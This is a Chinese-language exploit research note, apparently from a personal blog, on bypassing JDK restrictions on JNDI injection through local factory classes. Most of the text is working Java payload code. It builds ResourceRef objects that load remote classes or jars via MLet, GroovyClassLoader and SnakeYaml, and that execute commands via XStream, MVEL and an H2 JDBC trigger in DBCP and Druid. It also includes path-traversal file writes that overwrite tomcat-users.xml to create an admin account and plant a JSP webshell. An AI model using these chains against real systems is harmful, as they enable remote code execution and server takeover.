初探

Pasted%20image%2020240430222802

  1. ref为空
    需要 obj 既不是 Reference 也不是 Referenceable

无法实例化远程对象,没用

  1. 令 ref.getFactoryClassLocation() 返回空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址,如果对应factory是本地代码,则该值为空

对于方法二,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase

javax.naming.spi.NamingManager
解析过程中
如果本地拿到了工厂类,就不需要远程加载,直接本地实例化工厂,再用工厂实例化类返回

Pasted%20image%2020240430223650

于是找到Tomcat里的BeanFactory

他使用newInstance创建实例
只能调用无参构造
找到的是ELProcessorGroovyShell

基于BeanFactory

javax.management.loading.MLet

jdk自带
Pasted%20image%2020240502164953

MLet 继承自 URLClassloader,有一个无参构造方法,还有一个 addURL(String)方法,它的父类还有一个 loadClass(String)方法。

private static ResourceRef tomcatMLet() {
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
}

能用来进行gadget探测

GroovyClassLoader

private static ResourceRef tomcatGroovyClassLoader() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1:8888/"));
ref.add(new StringRefAddr("b", "blue"));
return ref;
}

相当于

GroovyClassLoader.addClasspath("http://127.0.0.1:8888/")

GroovyClassLoader.loadClass("blue")

SnakeYaml

要放个jar包额

private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}

XStream

new com.thoughtworks.xstream.XStream().fromXML(String)同样符合条件。

private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}

我这里会报错

Exception in thread "main" javax.naming.NamingException: Forced String setter fromXML threw exception for property a
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:216)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:332)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:142)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at zip.JNDI.JNDI_RMI.main(JNDI_RMI.java:19)

怀疑是setter方法的时候出了问题

MVEL

org.mvel2.sh.ShellSession#exec(String)进入会按照内置的几个命令进行处理

Pasted%20image%2020240502183326

private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;
}

NativeLibLoader

com.sun.glass.utils.NativeLibLoader是JDK的类,它有一个loadLibrary(String)方法

private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
return ref;
}

上传动态链接库,然后再利用

调试发现,路径是拼接的,在macos下会自己加上dylib,所以../和文件名自己改一下,然后就OK了.在Linux上应该是加载so文件,Windows应该是dll文件

XXE & RCE

第二个类
org.apache.catalina.users.MemoryUserDatabaseFactory

这里会先实例化一个MemoryUserDatabase对象然后从 Reference 中取出 pathname、readonly 这两个最主要的参数并调用 setter 方法赋值。
Pasted%20image%2020240502210014
赋值完成会先调用open()方法,如果readonly=false那就会调用save()方法。

rce

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);

这里分别根据xml解析结果给 MemoryUserDatabase#groups,MemoryUserDatabase#users,MemoryUserDatabase#roles填充数据。

首先从org.apache.catalina.users.MemoryUserCreationFactory#createObject中取出了 username,password 元素。

然后调用org.apache.catalina.users.MemoryUserDatabase#createUser这时 MemoryUser 对象被添加到了 users 对象里,这样 users 就不是空的了。这里不能为空的原因是后面写文件内容时是从,users、groups、roles里取的。

进入 save()方法的主逻辑代码需要先经过 isWriteable()==true 的判断
这里出现了第一个问题,由于需要控制文件写入内容,所以必须要让 pathname 是一个远程URL,如果是远程URL的话这里把catalina.base+pathname 组成文件名去实例化了一个 File 对象,所以这个目录必然不存在、不是目录、不可写,也就无法通过判断。

那如果用目录跳转呢?假如 CATALINA.BASE=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml

他们组成的文件路径就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

getParentFile 获取到的是 /usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/

在 Windows 下这样没问题,但如果是Linux系统的话,目录跳转符号前面的目录是必须存在的。

所以要解决Linux系统下的问题,必须要让 CATALINA.BASE文件夹下有/http:/127.0.0.1:8888/ 这个目录的存在,这就需要用到BeanFactory来执行一个可以创建目录的利用类
他随便找了一个org.h2.store.fs.FileUtils#createDirectory(String),创建目录的gadget花点时间应该能找到很多更通用的

Pasted%20image%2020240502220202

因为要在 CATALINA.BASE创建目录,所以需要从工作目录CATALINA.BASE/bin 向上跳一级,分别执行 tomcatMkdirFristtomcatMkdirLast ,这样 CATALINA.BASE目录下就会创建出一个 http:目录和它的子目录127.0.0.1:8888

Linux环境下 isWriteable() 的校验也就通过了

前面这部分会先把事先在 open() 方法就解析好的 users、groups、roles都写入到 pathnameNew 这个文件里。

如果pathname是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml

那pathnameNew就是/usr/apache-tomcat-8.5.73/http:/127.0.0.1:8888/../../conf/tomcat-users.xml.new

最后会把 pathnameNew 这个文件移动到 pathname。

写文件的原理摸清楚了就可以开始准备RCE,RCE的方法有两种,分别是覆盖 tomcat-users.xml 和写 webshell 。

创建Tomcat管理员

Pasted%20image%2020240502220509

private static ResourceRef tomcatManagerAdd() {
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}

然后只需要让JNDI返回这个ResourceRef对象,它就会先去访问 http://127.0.0.1:8888/../../conf/tomcat-users.xml然后把它覆盖到 CATALINA.BASE/http:/127.0.0.1:8888/../../conf/tomcat-users.xml经过目录跳转后是CATALINA.BASE/conf/tomcat-users.xml

文件覆盖成功后,就可以用新账号密码去登录 Tomcat 后台了

webshell

首先启动一个8888端口,让访问http://127.0.0.1:8888/webapps/ROOT/test.jsp能返回这样一段XML。

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;/System/Applications/Calculator.app/Contents/MacOS/Calculator&#x22;); %&#x3e;"/>
</tomcat-users>

再让 JNDI 返回这个 ResourceRef 对象就可以把 test.jsp 写入到 web 目录。

private static ResourceRef tomcatWriteFile() {     ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",             true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);     ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));     ref.add(new StringRefAddr("readonly", "false"));     return ref; }

JDBC RCE

dbcp

dbcp分为dbcp1和dbcp2,同时又分为 commons-dbcp 和 Tomcat 自带的 dbcp。

进入 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#configureDataSource方法最后一段代码写了当 InitialSize > 0 的时候会调用 getLogWriter 方法

public PrintWriter getLogWriter() throws SQLException { return this.createDataSource().getLogWriter(); }

getLogWriter 会先调用 createDataSource() 也就是创建数据库连接。

private static Reference tomcat_dbcp2_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

druid

private static Reference druid(){
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}

能用,但是不知道为什么